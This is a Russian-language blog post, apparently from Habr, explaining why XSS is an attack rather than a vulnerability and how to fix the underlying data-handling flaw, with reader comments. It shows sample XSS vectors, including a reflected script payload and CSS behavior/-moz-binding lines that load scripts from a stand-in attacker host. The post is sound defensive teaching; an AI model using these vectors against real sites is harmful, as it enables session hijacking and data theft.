Компания
476,70
рейтинг
7 августа 2012 в 04:31

Разработка → Вся правда об XSS или Почему межсайтовое выполнение сценариев не является уязвимостью?

Должен признаться, что чтение комментариев на Хабре к практически любым постам, описывающим очередную XSS на каком-либо популярном сервисе или сайте, способно повергнуть в уныние любого, кто так или иначе связан с безопасностью веб-приложений. С учетом распространенных среди разработчиков мифов и заблуждений о межсайтовом выполнении сценариев, нет ничего удивительного в том, что он и по сегодняшний день входит в число наиболее распространенных проблем безопасности веб-приложений: согласно данным отчета Positive Technologies за 2010-2011 годы, XSS были подвержены 40% проанализированных веб-приложений, а из отчета Firehost за второй квартал 2012 года следует, что XSS составила 27% от числа зарегистрированных хостером атак.

И поскольку, заминусовать этот пост можно и за один только его заголовок, то поспешу пояснить: межсайтовое выполнение сценариев действительно не является уязвимостью, но только потому, что оно является атакой. В чем разница, почему это важно, как со всем этим бороться и какие еще мифы и заблуждения распространены об XSS — читаем под катом.

Все заблуждения сформулированы в заголовках, порядок произвольный, любые совпадения примеров конкретных атак и уязвимостей с реально существующими — случайны и непреднамеренны.

XSS — уязвимость


Как уже было сказано выше, это не так. Межсайтовое выполнение сценариев является атакой, причем и по версии OWASP, и по версии WASC (хотя читать мануалыклассификации у нас конечно не принято). Иными словами, XSS является лишь одним из возможных способов эксплуатации уязвимости определенного класса. Например, следующий код содержит только одну уязвимость, но подвержен атакам сразу нескольких классов:

<?php
header( 'Refresh: 5; url=' . $_GET['url']);
?>
<html>
    <head>
        <meta http-equiv="refresh" content="5;url=<?=$_GET['url']?>"></meta>
    </head>
</html>

Во-первых, данный код подвержен атаке злоупотребления функционалом перенаправления, ни имеющей никакого отношения к XSS. Во-вторых, запросом вида http://localhost/?url="><script>alert("XSS")</script><!-- легко и непринужденно реализуется, собственно, межсайтовое выполнение сценариев. В третьих, если веб-приложение будет развернуто в окружении, которое использует канонический PHP версии ниже 4.4.2 или 5.1.2, либо ряд сторонних реализаций PHP, то данный код будет также уязвим и к атакам расщепления и сокрытия HTTP-ответов (а защищенность веб-приложения не должна зависеть от защищенности окружения настолько, насколько это возможно).

Разница между уязвимостью и атакой в том, что устранение уязвимости позволяет избавится и от всех эксплуатирующих ее атак, а вот устранение конкретной атаки — от самой уязвимости не избавляет. Простой пример: если мы, рассматривая данную XSS как уязвимость, устраним ее с помощью URL-кодирования каждого фрагмента переданного скрипту URL'а, то на возможность проведения атаки злоупотребления функционалом перенаправления это совершенно не повлияет — злоумышленник по-прежнему будет иметь возможность перенаправить пользователя на произвольный, корректно сформированный URL. Вместо того, чтобы бороться со следствиями, мы должны побороть причину, а именно — устранить ту самую, единственную уязвимость, которая позволяет проводить все эти атаки. В данном случае, уязвимость заключается в том, что GET-параметр url не обрабатывается должным образом ни при передаче в скрипт веб-сервером, ни перед его использованием в выходных данных. Прошу любить и жаловать: данная уязвимость относится к классам неправильной обработки входных и выходных данных и является самой распространенной уязвимостью, благодаря которой возможно проведение большинства известных на сегодняшний день атак. Следовательно, чтобы устранить эту уязвимость, необходимо обеспечить правильную и достаточную обработку данных обоих типов, при этом очевидно, что в данном случае, URL-кодирование достаточным не является. Мы еще вернемся к этому вопросу чуть позже.

XSS бывает пассивной и активной


«Когда тебе станет совсем скучно — затей с коллегами спор о терминологии» (С). Но тут уже вопрос принципиальный, простите. Я не знаю, благодаря кому именно, русскоговорящим разработчикам была навязана эта гейская классификация (есть мнение, что ее распространению способствовала статья об XSS в русской Википедии), но подобное разделение, хотя и имеет место, тем не менее совершенно бесполезно, т.к. не отражает всех свойств конкретной XSS, реально значимых с точки зрения анализа защищенности веб-приложения и устранения в нем соответствующих уязвимостей. Традиционно и ошибочно принято считать, что XSS может быть пассивной (требующей передать пользователю специально сформированную ссылку и убедить его по ней пройти) и активной (хранящейся на сервере и срабатывающей без лишних телодвижений со стороны пользователя). Однако же, рассмотрим следующий пример: допустим, что в движке Хабра есть уязвимость, позволяющая выйти лишь за рамки атрибута src тега <a> в тексте хабратопика, но не позволяющая выйти за рамки тега. Понятно, что данную уязвимость, можно использовать для проведения атаки XSS, определив обработчик наведения курсора на ссылку, щелчка по ней и т.п. Вопрос: пассивной или активной является такая атака? С одной стороны, ссылка хранится на сервере, ее не нужно доставлять атакуемым пользователям, вроде бы активная. С другой, для успешной атаки необходимы дополнительные действия пользователя, что характерно исключительно для пассивных атак. Парадокс? Именно поэтому, XSS принято классифицировать по двум критериям: вектору и способу воздействия. Второй как раз и является теми самыми «активная/пассивная», однако с более внятными формулировками: активной является XSS не требующая каких-либо лишних действий со стороны пользователя с точки зрения функционала веб-приложения, в отличии от пассивной. А по вектору воздействия, XSS делится на отраженную (возвращаемую сервером в ответ на тот же запрос, в котором был передан вектор эксплуатации), устойчивую (сохраняемую на сервере и доступную во всех ответах на один и тот же запрос, не содержащий вектор эксплуатации) и основанную на объектной модели документа (проведение которой возможно без отправки каких-либо запросов на сервер). Таким образом, правильным ответом на вопрос о классификации приведенного примера атаки является: «устойчивая-пассивная».

XSS — атака на пользователя и направлена на выполнение в его браузере произвольного сценария


Очевидно, что это не совсем так. Для того, чтобы выполнить произвольный сценарий в браузере жертвы, достаточно было бы заманить его на специально подготовленную страницу, размещенную на контролируемом злоумышленником сервере. XSS же направлена не просто на выполнение произвольного сценария, а на его выполнение в контексте источника конкретного сайта с целью обхода политик единого источника (Same Origin Policy, SOP) и, в результате, получения доступа к данным и функционалу клиентской части веб-приложения в рамках пользовательской сессии и с правами ее пользователя. Это атака, в первую очередь, на веб-приложение, реализующая угрозу именно в нем, а не в браузере пользователя.

На конференции PHDays 2012, во время секции "Безопасность Web 2.0. Продвинутые техники" ее ведущий Андерс Рьянчо задал аудитории простой вопрос: «поднимите руки те, кто знает что такое политики единого источника». Как присутствовавший там, готов подтвердить: руки подняло от силы треть аудитории, состоящей целиком и полностью из веб-разработчиков и экспертов по безопасности. На видео этот исторический момент есть, жаль только, что вся аудитория в этот момент не попала в кадр. Честно говоря, я не совсем понимаю, как можно быть разработчиком или экспертом по безопасности веба и не знать об основном механизме защиты современных браузеров, поэтому для себя решил, что народ просто постеснялся поднимать руку перед иностранцем. Однако, даже простой обзор этих политик — задача не на пару абзацев, поэтому всех интересующихся могу направить во вторую часть электронной книги "Browser Security Handbook" Михаля Залевски. Еще глубже эта тема охвачена в "The Tangled Web" того же автора. Обе кстати, рекомендуются к прочтению всеми, кто имеет отношение к веб-разработке или анализу защищенности веб-приложений.

Борьба с XSS — проблема пользователя, да и вообще XSS — это несерьезно


Не совсем понятно, с чего это вдруг атака на веб-приложение (см. выше) стала проблемой пользователя, а не владельца или разработчиков этого приложения. Тут скорее вопрос в том, какова их позиция в вопросах обеспечения защищенной работы пользователей. Риски, связанные с реализацией XSS, действительно зачастую носят репутационный характер. Однако же, если говорить о том, насколько серьезными могут быть последствия успешной XSS в отношении пользователей, рекомендую посмотреть доклад моего коллеги Дениса Баранова «Root через XSS», представленный на конференции ZeroNights 2011 и посвященный получению привилегированного доступа к компьютерам веб-разработчиков через атаку межсайтового выполнения сценариев (к сожалению, доступны только слайды, но общая идея, думаю будет понятна и без видео). Насколько сильным будет ущерб, нанесенный репутации ресурса, если с помощью XSS на его клиентскую часть, атакующие получат неограниченный доступ к компьютерам его пользователей? С учетом того, что средства, превращающие проведение массовой XSS в скрипткиддинг уже давно есть: взять, хотя бы, тот же BeEF. Кроме того, не стоит забывать также и о том, что с точки зрения XSS, администраторы веб-приложений являются точно такими же пользователями, как и все остальные (чьими проблемами якобы и является борьба с этим классом атак, ага).

XSS возможна только в результате инъекции в HTML или клиентский сценарий


Не только. Например, одним из способов применения уже упомянутой атаки расщепления HTTP-ответа, является внедрение HTML-документа (а следовательно и клиентских сценариев, если это необходимо) прямо в HTTP-заголовок, подверженный инъекции. Злоупотребление функционалом перенаправления вполне может быть использовано для редиректа браузера на URL'ы, использующие схему data: или javascript:. Более того, возможно и более неочевидное использование атаки на перенаправление с целью проведения XSS. Допустим, в нашем веб-приложении, помимо точки входа с уже рассмотренной проблемой перенаправления (доступной по адресу /redirect.php?url=) есть также точка со следующим кодом:

<html>
    <head>
        <link rel="stylesheet" href="/themes/<?=$theme?>.css" type="text/css" />
    </head>

При этом, обработка переменной $theme, получаемой из параметров GET-запроса, сводится к удалению из нее всех кавычек, а также обратных слешей и тегов (так, на всякий случай), что делает невозможным для атакующего выбраться за пределы атрибута href. Однако, для проведения XSS этого и не требуется. Используя в качестве параметра $theme значение ../redirect.php?url=http://evilsite.domain/evilstylesheet атакующий получает возможность внедрить в страницу произвольный лист стилей. Используя для IE или FF лист с содержимым

body {
    behavior:url(../redirect.php?url=http://evilsite.domain/evilscript.htc);
}

и

body {
    -moz-binding: url(../redirect.php?url=http://evilsite.domain/evilscript.xml#evilcode);
}

соответственно, и разместив на своем сервере файлы evilscript.htc:

<PUBLIC:COMPONENT TAGNAME="xss">
   <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/>
</PUBLIC:COMPONENT>
<SCRIPT>
   function main() 
   {
     alert("XSS");
   }
</SCRIPT>

и evilscript.xml:

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml">

<binding id="mycode">
  <implementation>
    <constructor>
      alert("XSS");
    </constructor>
  </implementation>
</binding>

</bindings>

он добивается успешной XSS для пользователей этих двух браузеров. Разумеется, то же самое касается и возможности осуществления инъекции непосредственно в определения стилей.

UPD: Как подсказали в комментариях, -moz-binding не так давно приказал долго жить, увы.

Большинство векторов XSS, доступных для атакующего в тех или иных браузерах и версиях HTML, перечислено на сайте HTML5 Security Cheatsheet. Там же можно найти и исчерпывающий ответ на вопрос, озвученный в заголовке этого раздела.

В используемом мной фреймворке встроена автоматическая защита от XSS, поэтому мне не нужно заботиться об этом


Действительно, во многих современных фреймворках такая защита реализована. Механизм XSS Filtering в Code Igniter, штатный функционал шаблонизаторов в Django и RoR, Web Protection Library и механизм Request Validation в ASP.NET/MVC и т.д. и т.п. Это безусловно здорово и было бы глупо не использовать этот функционал. Также глупо как и не принимать во внимание, что:
  • ни один серверный фреймворк не способен защитить веб-приложение от DOM-based XSS;
  • ни один из существующих ныне механизмов автоматической защиты от XSS не является универсальным и лишенным тех или иных ограничений, которые необходимо учитывать;
  • функционал, реализуемый этими механизмами, направлен на борьбу с конкретным классом атак и не может защитить от появления в коде уязвимостей недостаточной обработки данных;

Поэтому, заботиться все же нужно, просто в некоторых фреймворках это не будет являться рутиной и требовать существенных временных затрат.

Для устранения XSS достаточно экранировать все строки, попадающие в HTML-документ


Недостаточно, выше уже рассмотрели почему. Устранять нужно не XSS, а обусловившую ее уязвимость, что приводит нас к необходимости обеспечения защищенной обработки данных. Поскольку эта тема тянет на отдельную (и весьма немаленькую) статью, тезисно перечислю основные этапы реализации такой обработки:

Определение степени доверия к данным

В первую очередь, необходимо выявить все потоки данных, целостность или аутентичность которых не контролируется внутри рассматриваемого компонента веб-приложения. Под компонентом веб-приложения, как правило (хотя и не всегда), подразумеваются элементы его серверной или клиентской части, выполняющиеся в рамках одного процесса ОС.

В приведенном выше примере, недоверенными (и единственными) данными является параметр url, получаемый из строки GET-запроса.

Типизация всех недоверенных данных

Как можно ближе к месту появления таких данных в компоненте, необходимо обеспечить их приведение к ожидаемым типам. В статических языках это реализуется, собственно, приведением к типу или созданием экземпляра этого типа на основе десериализации или парсинга проверямых данных. Более того, в большинстве современных фреймворков, построенных на статических языках, этот функционал уже реализован в механизмах биндинга параметров запроса к объектам модели. В динамических языках все несколько грустнее, т.к. по сути там можно говорить только об имитации приведения (которую, тем не менее, необходимо осуществлять). Тем не менее, грамотная реализация даже такой условной типизации даст гарантию, что по нашему компоненту будут гулять данные именно тех типов, на работу с которыми он рассчитан. Вся дальнейшая работа с данными внутри компонента, должна осуществляться только через созданные на основе входных данных объекты. Важно помнить, что основным принципом этапа типизации является как можно меньшее количество объектов строкового типа на его выходе. URL, адреса электропочты, дата, время и т.п. после типизации должны представлять из себя объекты конкретных типов, отличных от строкового. В виде строк должны быть представлены только те данные, которые на самом деле являются строкой, т.е. которые действительно могут содержать произвольный полноалфавитный текст.

В нашем случае, достаточно воспользоваться функцией parse_url() и реализовать проверку появления в элементах полученного массива лишних знаков подчеркивания, означающих наличие в исходном URL запрещенных символов (соответственно, завершать типизацию с ошибкой, если были обнаружены такие символы или если parse_url() и вовсе вернула FALSE). В том случае, если в полученном массиве будет присутствовать ключ query, необходимо также обеспечить его разбор с помощью parse_str() и заменить на получившийся в итоге ассоциативный массив с параметрами запроса.

Валидация всех типизированных недоверенных данных

Сразу после типизации, семантику полученных объектов необходимо проверить на соответствие функционалу компонента. Например, для целочисленных типов или даты/времени — это будет проверка диапазона (едва ли появление в нем, скажем, отрицательных номеров страниц или сумм денежного перевода соответствует ожиданиям функционала), для строковых, в большинстве случаев, будет достаточно проверки на соответствие регулярным выражениям, а для объектов более комплексных типов необходимо реализовывать проверку семантики каждого из его полей и свойств. Любые проверки, связанные с валидацией всегда должны осуществляться на основе принципа белого списка, т.е. семантика данных должна соответствовать разрешенным критериям, а не наоборот. Целью данного этапа является получение гарантии того, что все данные внутри компонента будет соответствовать реализованному в нем функционалу и не смогут его нарушить.

Допустим, что в нашем «веб-приложении» перенаправление может быть осуществлено только в рамках своего домена. В этом случае, нам необходимо убедиться в том, что в массиве, полученном в результате parse_url(), присутствуют только ключи path, query и fragment. Обнаружение любых других ключей должно заканчиваться ошибкой валидации и прекращением обработки запроса за исключением тех случаев, когда scheme, host и port указывают на домен веб-приложения. В более общем случае, будет совсем здорово, если механизм роутинга, используемый в веб-приложении, позволит нам также проверить path на соответствие действительно существующему контроллеру. И уж совсем круто, если то же самое удастся провернуть и с параметрами в query (не говоря уже о fragment).

Санитизация выходных данных

Во всех местах, где валидированные и типизированные нами объекты покидают пределы компонента (либо там, где на их основе формируются выходные данные), необходимо обеспечить их приведение к виду, безопасному для принимающей стороны. Как правило, это достигается путем удаления из них небезопасных элементов (фильтрации) или же их преобразования к безопасным эквивалентам (экранировании). Санитизацию необходимо реализовывать адекватно тому месту, в которое попадут данные в конечном итоге. Так, в случае формирования на их основе HTML-документа, способы правильного экранирования данных, попадающих между тегами, внутрь тегов, внутрь конкретных атрибутов тегов, в текст клиентских сценариев или определений стилей — будут отличаться. Иными словами, htmlspecialchars() не является универсальным средством экранирования, которого всегда и везде будет достаточно.

В нашем случае, достаточно сформировать корректный URL на основе полей полученного на предыдущих этапах объекта, используя функции http_build_query() для построения query-части и url_encode() при формировании элементов пути (либо используя http_build_url() и http_build_str() из pecl_http).

Собственно говоря, эти правила актуальны для любых атак, обусловленных уязвимостью этого класса. Например, для внедрений операторов SQL, команд ОС и т.д. Необходимо также отметить, что хотя большинство разработчиков уже давно в курсе, что данным, которые получает сервер от клиента доверять нельзя, практически никто не задумывается над тем, что обратное также верно, причем по тем же самым причинам. Тем не менее, если бы защищенная обработка данных была реализована и на стороне клиента, это позволило бы свести к минимуму риски клиентских атак, связанные с эксплуатацией уязвимостей на сервере.

Кому-то эти правила могут показаться избыточными и ненужными, однако в реальном (читай: большом и сложном) веб-приложении, любой другой способ избавления от XSS на тему «тут ведь достаточно лишь...» будет являться борьбой с атакой, а не с уязвимостью. С последствиями, которые рано или поздно превратятся в конкретные числа в отчетах ИБ-компаний.

На правах эпилога: выходит, бороться с атаками не нужно?


Еще как нужно. Просто противодействие атакам должно идти в качестве второго эшелона защиты и не должно использоваться в качестве средства устранения уязвимостей. Напоследок, дам еще один совет, как существенно осложнить задачу атакующему на клиентской стороне (не только XSS). Все ответы сервера должны содержать следующие заголовки:

X-Content-Type-Options: nosniff
msdn.microsoft.com/en-us/library/ie/gg622941(v=vs.85).aspx

X-XSS-Protection: 1; mode=block
msdn.microsoft.com/en-us/library/dd565647(v=vs.85).aspx

X-Frame-Options: DENY
blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx

X-Content-Security-Policy: [значение данного заголовка необходимо сформировать исходя из технических требований к функционалу сайта, в соответствии с dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html]

Strict-Transport-Security: max-age=expireTime
developer.mozilla.org/en/Security/HTTP_Strict_Transport_Security

Пояснять назначение каждого, дублируя текст по приведенным ссылкам — думаю, что особого смысла нет.

Удачи!
Автор: @VladimirKochetkov
Positive Technologies
рейтинг 476,70

Комментарии (48)

  • +8
    Хорошо неделя начинается: сначала правильный топик про безопасность и sqj, теперь правильный про xss
  • +19
    Прочитав заголовок подумал — «очередной крик душы разработчика, в коде которого нашли способ эксплуатации XSS». Но дочитав до конца понял, что это лучшая статья на тему XSS.
    • +1
      Очень хорошо неделя безопасности на хабре началась.

      Ждём разоблачительных постов про CSFR и переполнение буфера=)
      • 0
        про CSRF! их есть у меня!
  • 0
    Отличный материал!
  • –9
    Спасибо. Нагрузили)) Если серьезно, то складывается впечатление, что оптимальный вариант — это жёсткое шифрование данных, хеширование содержимого
    • +3
      Наверное, должно было звучать наоборот:

      «Складывается впечатление, что оптимальный вариант — это жёсткое шифрование данных, хеширование содержимого. Если серьезно, то спасибо. Нагрузили)))»

      Не?
      • 0
        Да, так верно. Надо будет покопаться глубже, планируете в ближайшее время ещё писать по этой теме?
        • 0
          Планирую, но пока не определился со следующей темой. Есть пожелания?
          • 0
            Конечно есть)) Хотелось бы про день грядущий. Подразумеваю HTML5, CSS3, websockets. Новые архитектуры и алгоритмы будут тянуть за собой новые «тонкие места», про это хотелось бы узнать. Там же закладываются какие-то стандартные политики безопасности. Вот первое, что приходит в голову — блокировки в WS при плохо продуманной архитектуре.
  • +4
    >«поднимите руки те, кто знает что такое политики единого источника»

    я бы тоже не поднял, зачем переводить same origin policy

    >ни один серверный фреймворк не способен защитить веб-приложение от DOM-based XSS;

    да, но dom based xss является результатом плохой архитектуры(хранения данных в class или копирование .html()без эскейпа) поэтому не велика беда

    X-XSS-Protection: 1; mode=block
    рекомендую не только для ie — xss auditor опасен(http://homakov.blogspot.com/2012/06/saferweb-with-new-features-come-new.html)
    • +1
      >я бы тоже не поднял, зачем переводить same origin policy

      Во время доклада, переводчик сначала обозвал это «первоначальной политикой», однако во фразе про поднятие рук использовал оригинальный англоязычный вариант. Перевод сделал я, вот почему: все в той же русскоязычной Википедии, будь она неладна, используется вариант «правило ограничения домена», что не только нельзя назвать переводом, но и понять о чем речь еще сложнее. Кроме того, источником может быть не только домен, но и IP, поэтому этот вариант заведомо некорректен, поэтому я решил предложить свой.

      >да, но dom based xss является результатом плохой архитектуры(хранения данных в class или копирование .html()без эскейпа) поэтому не велика беда

      Тем не менее, позаботиться об этом придется, несмотря на возможности, предоставляемые фреймворком. Мне кстати, не попадались клиентские фреймворки, в которых эта проблема была бы более-менее решена на их уровне. Было бы интересно взглянуть, если они вообще существуют.

      >рекомендую не только для ie — xss auditor

      Да, и с IE'шным XSS Filter, тоже чудеса в свое время приключались ;)
  • НЛО прилетело и опубликовало эту надпись здесь
  • 0
    >> большинство разработчиков уже давно в курсе, что данным, которые получает сервер от клиента доверять нельзя, практически никто не задумывается над тем, что обратное также верно

    Верное замечание. Однажды столкнулся с подобной проблемой. Постоянно ломали сайт клиентки: каким-то образом злоумышленник добавлял в тексты свой script со скрытым iframe. Перелопатили массу кода, пытаясь понять, каким образом он вообще смог получить доступ в админку (сайт на MaxSite CMS). Не нашли. На первом шаге я написал небольшой плагин, который ищет вхождения вредоносного кода и сам его удаляет. Это сработало, но не надолго. Зловредный код вдруг стал появляться в самых необычных местах, вроде названий рубрик или меток. Если бы такое добавление происходило через админ-панель, то автоматом бы сработала фильтрация данных…

    В итоге выяснилась, что злоумышленник каким-то образом украл ftp-пароль (админы кивают на троян), залил шел в каталог uploads (только там есть разрешение на запись) и загрузил php-скрипт, который делал дамп одной из таблиц базы, вносил свой script-код, и загружал обратно в базу. Админы, естественно, прикрыли все эти лазейки на сервере, а мне же пришлось реализовать в CMS фильтрацияю не только на приём данных от пользователя, но и из базы данных.
    • 0
      >мне же пришлось реализовать в CMS фильтрацияю не только на приём данных от пользователя, но и из базы данных

      Корректное определение степени доверия к потокам данных — отдельная и сложная тема (слегка затрагивал ее тут), но да — если оценивать степень доверия через модель угроз, то данные, пришедшие с SQL-сервера подлежат точно такой же обработке, как и данные из HTTP-запроса, например.
    • +1
      Если украден пароль от ftp или, тем более, от ssh — какой смысл уже делать фильтрацию данных из базы? Вам с полным успехом запишут эксплойт прямо в код. Тут чистое везение, что был доступ только в uploads. Однажды такое произошло на одном из сайтов украинского вуза. Код просто был удалён, на его место положен вирусный код. Бекапов рабочего сайта, конечно же, у людей не оказалось — полгода работы и много денег пропало.
      А то, каким образом украден пароль — так это 99% троян, при чём заливка php-скрипта чаще всего тоже выполняется ботами.
      • 0
        Пароль был украден, но ftp был закрыт сразу, пароли все менялись. Шел мы нашли оперативно, а вот вредоносный скрипт для вставки — не сразу. Думаю, что злоумышленик ставил цель быть как можно менее заметным и его скрипт был единственным вариантом самостоятельно менять базу. Подобное может случиться с любым, дырку на сервере прикроют, а данные в базе останутся «зараженными». Так что фильтрация получаемых данных из БД на уровне CMS не будет лишней.
  • 0
    Вопрос возник по вот этому абзацу

    Однако, для проведения XSS этого и не требуется. Используя в качестве параметра $theme значение ../redirect.php?url=http://evilsite.domain/evilstylesheet

    но ведь в этом случае надо что б на атакуемом сервере был такой файл (redirect.php) или я чего то не допонимаю?
    • 0
      А он и так есть на атакуемом сервере: «Допустим, помимо точки входа с уже рассмотренной проблемой перенаправления» — речь как раз о содержимом redirect.php. Добавил в текст пояснение, чтобы было понятнее.
      • 0
        Ага спасибо, теперь яснее. Пример как по мне интересный.
  • НЛО прилетело и опубликовало эту надпись здесь
    • +3
      По поводу заголовка не вижу смысла спорить, т.к. даже из определений «атаки» и «уязвимости» следует, что XSS является именно атакой. Кроме того, этого же мнения придерживаются оба консорциума (OWASP, WASC) в число задач которых входит, в том числе, всевозможная классификация всех внезапностей в веб-приложениях.

      Основной принцип — общий не только у XSS и SQL. Уязвимость недостаточной обработки данных делает возможным проведение следующих классов атак (по версии WASC), в зависимости от места ее возникновения:

      Buffer Overflow — инъекция кода в стек или кучу
      Content Spoofing — инъекция элементов разметки и контента документа
      Cross-Site Scripting — инъекция сценариев в контент стайта
      Format String — инъекция управляющих символов в форматную строку
      HTTP Request/Response Splitting/Smuggling — инъекция в заголовки HTTP запросов/ответов
      Integer Overflows — передача чисел, выходящих за рамки диапазонов, ожидаемых функционалом
      LDAP Injection — инъекция операторов в запрос LDAP
      Mail Command Injection — инъекция команд в SMTP/IMAP сессию
      Null Byte Injection — инъекция нулевого байта в строку
      OS Commanding — инъекция команд ОС в сценарии оболочки
      Path Traversal — инъекция специальных символов в файловые пути
      Remote File Inclusion — передача внешних URL в аргументы функций включения файлов
      SOAP Array Abuse — инъекция определений наборов данных в SOAP-сообщение
      SSI Injection — инъекция директив SSI в код страницы на стороне сервера
      SQL Injection — инъекция операторов в SQL запрос
      URL Redirector Abuse — передача внешних URL в функционал перенаправления
      XPath Injection, XML Attribute Blowup, XML External Entities, XML Entity Expansion, XML Injection, XQuery Injection — инъекция в различные участки XML-документов различных типов

      Кроме того, в данной классификации отсутствуют:
      HTTP Parameter Pollution/Contamination — инъекция одноименных параметров и управляющих символов в элементы HTTP-запроса
      LINQ Injection — инъекция в деревья выражений запроса
      NoSQL Injection — инъекция операторов в запрос NoSQL БД

      Обеспечение всех этапов обработки данных позволяет получить гарантию того, что ошибка, допущенная на любом из них, не станет причиной появления уязвимости. А санитизация, как раз и является тем самым местом «точечной» борьбы с конкретными атаками, т.к. использование параметризации SQL-запросов — один из способов ее реализации. Однако, одной только санитизации бывает недостаточно (см. самый первый пример в посте), причем чаще, чем это может показаться на первый взгляд. Если разработчик достаточно опытен, чтобы определять, хватит ли только одного из этапов или нет, то он может обойтись и одним. Однако, те примеры, с которыми сталкивался я, говорят о том, что часто опыта просто не может быть достаточно, каким бы большим он не был.

      По поводу параметризации HTML в целом согласен, хотя есть некоторые подводные камни и сомнения, связанные с отсутствием доверия между клиентом и сервером в обе стороны, и с «для этого сам язык HTML нужно изменить» :)
      • НЛО прилетело и опубликовало эту надпись здесь
    • +1
      Во первых, статья не о том как могло бы быть, а о том, что мы имеем.

      Во вторых, html это и так текст. Вот только в нашем случае он генерируется при помощи языка программирования (php, asp, java и т.п.).

      Имея 3 элемента
      1. Язык программирования
      2. Текст с разметкой html
      3. Браузер, который парсит html и отдает оформленный документ

      Логично предположить, что поставленная вами задача должна ложиться на плечи именно браузера, а не языка программирования (т.к. html страницу можно создать и без программирования). Сразу приходит в голову решение — дать комманду браузеру (вы об этом собственно и говорите). Но как это сделать? Естественно обрамить в специальный тег, т.к. браузер не знает никаких переменных в нашем скрипте и мест куда эта переменная в должна подставляться. Обрамлять все подряд компилятором или интерпретатором, нельзя, ведь тогда на выходе получим нерабочую верстку, т.к. что
      http://localhost/?url="><script>alert("XSS")</script><!--
      что
      http://example.com/

      будет восприниматься как не интерпретируемый текстом. Поэтому нужна функция непосредственно в самом языке программирования.

      Нет, я конечно допускаю, что в какой-то другой галлактике интернет устроен именно так, как вы и говорите. Но что-то мне подсказивает, что идя подобным путем все будет только усложняться… Так что мы на правильном пути). Просто учитесь граммотно выбирать функции под конкретную задачу. strip_tags, htmlspecialchars,…

      либо, для примера из статьи собственная функция с участием parse_url
      • НЛО прилетело и опубликовало эту надпись здесь
        • 0
          Ну а кто мешает написать аналогичную библиотеку только для работы с шаблонами.

          Форкаем смарти, добавляем в функцию определения переменной каким образом/функцией фильтровать данные в этой переменной. Те же плейсхолдеры по сути, только вид с боку. Но несмотря на это, мы все еще упираемся в главное определяем способ фильтрации.
  • +1
    К сожалению, -moz-binding всё.
  • –1
    Кое-что удобнее выполнять именно XSS'ом. Пример: у меня на сервере А выполняется мониторинг одного оборудования, а на сервере Б — другого. Я хочу сделать сводную веб-морду на сервере В. Можно, конечно, загнать и на А, и на Б свои скрипты, которые будут отдавать по запросу от В нужную информацию, а В уже отдаст ее пользователю. Но если и на А, и на Б уже есть нужные скрипты, зачем велосипедить? Просто вызываем из веб-морды CGI на сервере А и CGI на сервере Б, а полученную информацию нужным образом обрабатываем и отображаем.
    • +1
      Так это межсайтовые запросы (типа habrahabr.ru/post/120336/). Межсайтовый скриптинг (XSS) — это все же несколько иное и преследует иные цели.
      • –3
        Ну дык ēпера и такого не умеет-то! Вообще, самый хреновый браузер по-моему. Хромой на втором месте по хреновости (т.к. не умеет нормально SVG показывать и еще кое-какие мелкие косяки допускает). Огнелис — на третьем (т.к. все-таки не умеет html5 целиком). А больше браузеров-то и нет! Одни игрушки остались, которые совсем ничего, кроме html эпохи 95-х годов, не умеют!
  • 0
    А расширение Taint — оно как, помогает? Бесполезно? Вроде специально было придумано, чтоб излечивать от повышенного доверия к входным данным, а что-то нигде про него не пишут…
    • 0
      Проблема этого расширения в том, что оно решает только часть задачи: помогает обнаружить все потоки данных, подлежащие обработке и места их выходов (не возьмусь сейчас судить, насколько хорошо она это делает, но допустим, что хорошо. Хотя список taintfull-функций и маловат, на первый взгляд). Однако, механизм untainting'а не учитывает контекст, в котором рассматриваются обрабатываемые данные. Иными словами, htmlspecialchars недостаточно, чтобы данные были очищены, если они потом попадают в SQL-запрос (т.к. не спасет от 1 OR 1=1) или в HTML, но внутрь атрибута href тега <a> (т.к. не спасет от javascript:alert(String.fromCharCode(88,83,83)). А Taint будет считать такие данные очищенными в любом случае и больше не пискнет.
  • –1
    XSS даже в самой безобидной форме может представлять опасность. Например, не экранирование данных поиска по сайту. Когда можно специфическим урлом написать на сайте текст. Такую проблему я случайно нашел на армянском информагенстве и мы так стебанули нашего знакомого друга армянина. Сделали картинку со статьей про землетрясение в Армении, куеву тучу жертв и через эту дыру «интегрировали» ее на сайт и дали соответствующую ссылку другу.

    Можно было бы продолжить прикол и как-бы с мыла информагентства (подложить мыло простая задача) разослать куче журналистов это сообщение. Для информагентства после этого были бы большие имидживые проблемы. Не зависимо XSS это или простой взлом сайта.
    • 0
      Описанное — не XSS, т.к. в этом случае, межсайтового выполнения сценариев не происходит. Это Content Spoofing в чистом виде, не XSS.
      • 0
        Вам виднее. Просто, сеошники это XSS называют.
      • 0
        Ну как бэ там и до XSS не далеко. Ведь если через URL пользователь может внедрить HTML код на страницу, то что ему мешает внедрить туда JavaScript для кражи тех же кукисов? Или я не прав?
        • 0
          Смотря как код пользователь может внедрить, зависит от реализованной разработчиками обработки входных данных. Если в результате этого внедрения возможно выполнить сценарий в origin'е атакуемого сайта, то это будет XSS. Если нельзя и можно лишь влиять на содержимое документа, то это Content Spoffing.
  • 0
    VladimirKochetkov,
    Однако же, если говорить о том, насколько серьезными могут быть последствия успешной XSS в отношении пользователей, рекомендую посмотреть доклад моего коллеги Дениса Баранова «Root через XSS», представленный на конференции ZeroNights 2011


    Доклад был сильно притянут за уши, моё ИМХО. Я даже написал целый пост насчёт этого доклада

    Хотя, теоретически, это возможно. Но ведь и апач на линуксе кто-то может из-под root запустить. И БД. Но какова вероятность этого?
    • 0
      Разделяю ваше негодование, но хочу заметить, что в 2006-ом ни меня, ни Дениса, ни даже нашей группы в Positive Technologies еще не было. Поэтому, затрудняюсь как-то прокомментировать ту ситуацию.

      Однако же сценарий, при котором веб-разработчик, использующий денвер, заходит на страницы произвольного сайта подверженного устойчивой XSS — мне представляется вполне реальным. А ничего другого для проведения той атаки и не требуется.

      Как соотносятся апач на линуксе (где исторически сложилась одна культура использования привилегированных учеток) и денвер на винде (где сложилась совершенно иная культура, особенно в среде разработчиков) — мне непонятно.
  • –1
    Спасибо большое за статью
  • НЛО прилетело и опубликовало эту надпись здесь
    • 0
